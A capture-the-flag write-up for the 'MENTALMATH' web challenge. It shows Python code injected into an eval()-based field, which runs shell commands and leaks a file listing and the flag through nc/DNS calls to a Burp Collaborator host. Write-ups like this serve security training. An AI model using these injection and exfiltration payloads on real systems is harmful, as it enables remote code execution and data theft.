# ▼▼▼MENTALMATH(Web:262pts,132/661=20.0％)▼▼▼
This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf)

---

## 【Vulnerability identification】

I guessed it was calculated by `eval()`.As a result of doing various things, we succeeded in the following.

↓

problem=`__import__('subprocess').check_output("nc fq9t6679b9hepavimvwu6df0nrthh6.burpcollaborator.net 80",shell=True)`&answer=0

↓

DNS access came!!　**python arbitrary code execution**

---

## 【Get flag】

problem=`__import__('subprocess').check_output("nc $(ls|tr -d '\n')c.fq9t6679b9hepavimvwu6df0nrthh6.burpcollaborator.net 80",shell=True)`&answer=0

↓

The following DNS access comes
```
db.sqlite3flag.txtmanage.pymathgamementalmathrequirements.txtc.fq9t6679b9hepavimvwu6df0nrthh6.burpcollaborator.net.
```

↓

`flag.txt`

---

problem=`__import__('subprocess').check_output("nc $(cat flag.txt|tr -cd 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')c.fq9t6679b9hepavimvwu6df0nrthh6.burpcollaborator.net 80",shell=True)`&answer=0

↓

```
gigem14mg0od47m4tH3m4aaticsn07s3cUr1tyh3h3h3hec.fq9t6679b9hepavimvwu6df0nrthh6.burpcollaborator.net.
```

↓

`gigem{14mg0od47m4tH3m4aaticsn07s3cUr1tyh3h3h3he}`

↓

I can't submit and it looks like something is missing.

---

Try: convert `_` to `L`. That is, `sed -e 's/%5c_/L/g'`

↓

problem=`__import__('subprocess').check_output("nc $(cat flag.txt|sed -e 's/%5c_/L/g'|tr -cd 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')c.fq9t6679b9hepavimvwu6df0nrthh6.burpcollaborator.net 80",shell=True)`&answer=0

↓
```
gigem1L4mLg0odL47Lm4tH3m4aaticsLn07Ls3cUr1tyLh3h3h3hec.fq9t6679b9hepavimvwu6df0nrthh6.burpcollaborator.net.
```

↓　Convert `L` to `_`

`gigem{1_4m_g0od_47_m4tH3m4aatics_n07_s3cUr1ty_h3h3h3he}`